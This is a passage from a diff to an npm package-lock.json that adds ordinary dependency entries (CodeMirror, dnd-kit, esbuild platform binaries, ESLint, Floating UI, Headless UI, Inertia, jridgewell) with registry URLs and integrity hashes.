"node_modules/@codemirror/view": { + "version": "6.43.7", + "resolved": "https://registry.npmjs.org/@codemirror/view/-/view-6.43.7.tgz", + "integrity": "sha512-FZsExxkoxnAN+d9TgqXLg5g4A1oQwzX9WlkOT5i2PKkcW7xx3Bmu0vs90g6fo9Mpdsb/l96dnAraQ8932aO4/g==", + "license": "MIT", + "dependencies": { + "@codemirror/state": "^6.7.0", + "crelt": "^1.0.6", + "style-mod": "^4.1.0", + "w3c-keyname": "^2.2.4" + } + }, + "node_modules/@dnd-kit/accessibility": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@dnd-kit/accessibility/-/accessibility-3.1.1.tgz", + "integrity": "sha512-2P+YgaXF+gRsIihwwY1gCsQSYnu9Zyj2py8kY5fFvUM1qm2WA2u639R6YNVfU4GWr+ZM5mqEsfHZZLoRONbemw==", + "license": "MIT", + "dependencies": { + "tslib": "^2.0.0" + }, + "peerDependencies": { + "react": ">=16.8.0" + } + }, + "node_modules/@dnd-kit/core": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/@dnd-kit/core/-/core-6.3.1.tgz", + "integrity": "sha512-xkGBRQQab4RLwgXxoqETICr6S5JlogafbhNsidmrkVv2YRs5MLwpjoF2qpiGjQt8S9AoxtIV603s0GIUpY5eYQ==", + "license": "MIT", + "dependencies": { + "@dnd-kit/accessibility": "^3.1.1", + "@dnd-kit/utilities": "^3.2.2", + "tslib": "^2.0.0" + }, + "peerDependencies": { + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@dnd-kit/sortable": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/@dnd-kit/sortable/-/sortable-10.0.0.tgz", + "integrity": "sha512-+xqhmIIzvAYMGfBYYnbKuNicfSsk4RksY2XdmJhT+HAC01nix6fHCztU68jooFiMUB01Ky3F0FyOvhG/BZrWkg==", + "license": "MIT", + "dependencies": { + "@dnd-kit/utilities": "^3.2.2", + "tslib": "^2.0.0" + }, + "peerDependencies": { + "@dnd-kit/core": "^6.3.0", + "react": ">=16.8.0" + } + }, + "node_modules/@dnd-kit/utilities": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@dnd-kit/utilities/-/utilities-3.2.2.tgz", + "integrity": "sha512-+MKAJEOfaBe5SmV6t34p80MMKhjvUz0vRrvVJbPT0WElzaOJ/1xs+D+KDv+tD/NE5ujfrChEcshd4fLn0wpiqg==", + "license": "MIT", + "dependencies": { + "tslib": "^2.0.0" + }, + "peerDependencies": { + "react": ">=16.8.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", + "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", + "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", + "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", + "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", + "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", + "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", + "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", + "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", + "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", + "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", + "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", + "cpu": [ + "ia32" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", + "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", + "cpu": [ + "loong64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", + "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", + "cpu": [ + "mips64el" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", + "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", + "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", + "cpu": [ + "riscv64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", + "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", + "cpu": [ + "s390x" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", + "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", + "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", + "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", + "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", + "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", + "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", + "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", + "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", + "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", + "cpu": [ + "ia32" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", + "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.10.1", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.10.1.tgz", + "integrity": "sha512-cuadcxVFE8sDK6iWJbs8Sn0av2Nrh2QSGQhVlBW9AaAHqHwjWsZHT8LJ4hFGPh7ASBV2deFdM7H/DPjulmh8rg==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^3.4.3" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.12.1", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.1.tgz", + "integrity": "sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/config-array": { + "version": "0.21.2", + "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.2.tgz", + "integrity": "sha512-nJl2KGTlrf9GjLimgIru+V/mzgSK0ABCDQRvxw5BjURL7WfH5uoWmizbH7QB6MmnMBd8cIC9uceWnezL1VZWWw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/object-schema": "^2.1.7", + "debug": "^4.3.1", + "minimatch": "^3.1.5" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/config-helpers": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz", + "integrity": "sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^0.17.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/core": { + "version": "0.17.0", + "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz", + "integrity": "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@types/json-schema": "^7.0.15" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.6.tgz", + "integrity": "sha512-l2Ul9PrHsPCKcEY/ac7VgFj9D80C7S68sOKc618SyHDPK36s1XcFebXY0iTzUVn4Yq+YbwvSnDmCz9yxjX+QrA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ajv": "^6.14.0", + "debug": "^4.3.2", + "espree": "^10.0.1", + "globals": "^14.0.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.3.0", + "minimatch": "^3.1.5", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint/eslintrc/node_modules/globals": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", + "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@eslint/js": { + "version": "9.39.5", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.5.tgz", + "integrity": "sha512-QywQuszQh77pIXCsq998c8hbhSTI/azTty1Z6N53dmAudKHhy573j3yvRLsX2BSp8YpLtoCEG8E9DJe+8zUh4A==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://eslint.org/donate" + } + }, + "node_modules/@eslint/object-schema": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz", + "integrity": "sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/plugin-kit": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz", + "integrity": "sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^0.17.0", + "levn": "^0.4.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@floating-ui/core": { + "version": "1.6.9", + "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.6.9.tgz", + "integrity": "sha512-uMXCuQ3BItDUbAMhIXw7UPXRfAlOAvZzdK9BWpE60MCn+Svt3aLn9jsPTi/WNGlRUu2uI0v5S7JiIUsbsvh3fw==", + "license": "MIT", + "dependencies": { + "@floating-ui/utils": "^0.2.9" + } + }, + "node_modules/@floating-ui/dom": { + "version": "1.6.13", + "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.6.13.tgz", + "integrity": "sha512-umqzocjDgNRGTuO7Q8CU32dkHkECqI8ZdMZ5Swb6QAM0t5rnlrN3lGo1hdpscRd3WS8T6DKYK4ephgIH9iRh3w==", + "license": "MIT", + "dependencies": { + "@floating-ui/core": "^1.6.0", + "@floating-ui/utils": "^0.2.9" + } + }, + "node_modules/@floating-ui/react": { + "version": "0.26.28", + "resolved": "https://registry.npmjs.org/@floating-ui/react/-/react-0.26.28.tgz", + "integrity": "sha512-yORQuuAtVpiRjpMhdc0wJj06b9JFjrYF4qp96j++v2NBpbi6SEGF7donUJ3TMieerQ6qVkAv1tgr7L4r5roTqw==", + "license": "MIT", + "dependencies": { + "@floating-ui/react-dom": "^2.1.2", + "@floating-ui/utils": "^0.2.8", + "tabbable": "^6.0.0" + }, + "peerDependencies": { + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@floating-ui/react-dom": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-2.1.2.tgz", + "integrity": "sha512-06okr5cgPzMNBy+Ycse2A6udMi4bqwW/zgBF/rwjcNqWkyr82Mcg8b0vjX8OJpZFy/FKjJmw6wV7t44kK6kW7A==", + "license": "MIT", + "dependencies": { + "@floating-ui/dom": "^1.0.0" + }, + "peerDependencies": { + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@floating-ui/utils": { + "version": "0.2.9", + "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.9.tgz", + "integrity": "sha512-MDWhGtE+eHw5JW7lq4qhc5yRLS11ERl1c7Z6Xd0a58DozHES6EnNNwUWbMiG4J9Cgj053Bhk8zvlhFYKVhULwg==", + "license": "MIT" + }, + "node_modules/@headlessui/react": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@headlessui/react/-/react-2.2.0.tgz", + "integrity": "sha512-RzCEg+LXsuI7mHiSomsu/gBJSjpupm6A1qIZ5sWjd7JhARNlMiSA4kKfJpCKwU9tE+zMRterhhrP74PvfJrpXQ==", + "license": "MIT", + "dependencies": { + "@floating-ui/react": "^0.26.16", + "@react-aria/focus": "^3.17.1", + "@react-aria/interactions": "^3.21.3", + "@tanstack/react-virtual": "^3.8.1" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "react": "^18 || ^19 || ^19.0.0-rc", + "react-dom": "^18 || ^19 || ^19.0.0-rc" + } + }, + "node_modules/@humanfs/core": { + "version": "0.19.1", + "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", + "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/node": { + "version": "0.16.6", + "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.6.tgz", + "integrity": "sha512-YuI2ZHQL78Q5HbhDiBA1X4LmYdXCKCMQIfw0pw7piHJwyREFebJUvrQN4cMssyES6x+vfUbx1CIpaQUKYdQZOw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/core": "^0.19.1", + "@humanwhocodes/retry": "^0.3.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/node/node_modules/@humanwhocodes/retry": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.3.1.tgz", + "integrity": "sha512-JBxkERygn7Bv/GbN5Rv8Ul6LVknS+5Bp6RgDC/O8gEBU/yeH5Ui5C/OlWrTb6qct7LjjfT6Re2NxB0ln0yYybA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/retry": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.2.tgz", + "integrity": "sha512-xeO57FpIu4p1Ri3Jq/EXq4ClRm86dVF2z/+kvFnyqVYRavTZmaFaUBbWCOuuTh0o/g7DSsk6kc2vrS4Vl5oPOQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@inertiajs/core": { + "version": "2.3.27", + "resolved": "https://registry.npmjs.org/@inertiajs/core/-/core-2.3.27.tgz", + "integrity": "sha512-UYoKpg/OrpcoLqb9nDmQh+QhQ4dI5B2ZT3LfhSfNWnRUcpMyd/MagcoVeck3zDfEcQscvFMhiZUD/lXpbuixQQ==", + "license": "MIT", + "dependencies": { + "@types/lodash-es": "^4.17.12", + "axios": "^1.16.0", + "laravel-precognition": "^1.0.2", + "lodash-es": "^4.18.1", + "qs": "^6.15.0" + } + }, + "node_modules/@inertiajs/react": { + "version": "2.3.27", + "resolved": "https://registry.npmjs.org/@inertiajs/react/-/react-2.3.27.tgz", + "integrity": "sha512-30YVDJAbTGYH1/Hb0ThYpuxA152m2FZWhP8yqXC8GD2Hq1rID8Mp3wxnclEJADksYvGkmEC9jW2a2yAgpTrczw==", + "license": "MIT", + "dependencies": { + "@inertiajs/core": "2.3.27", + "@types/lodash-es": "^4.17.12", + "laravel-precognition": "^1.0.2", + "lodash-es": "^4.18.1" + }, + "peerDependencies": { + "react": "^16.9.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.9.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/remapping": { + "version": "2.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", + "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + 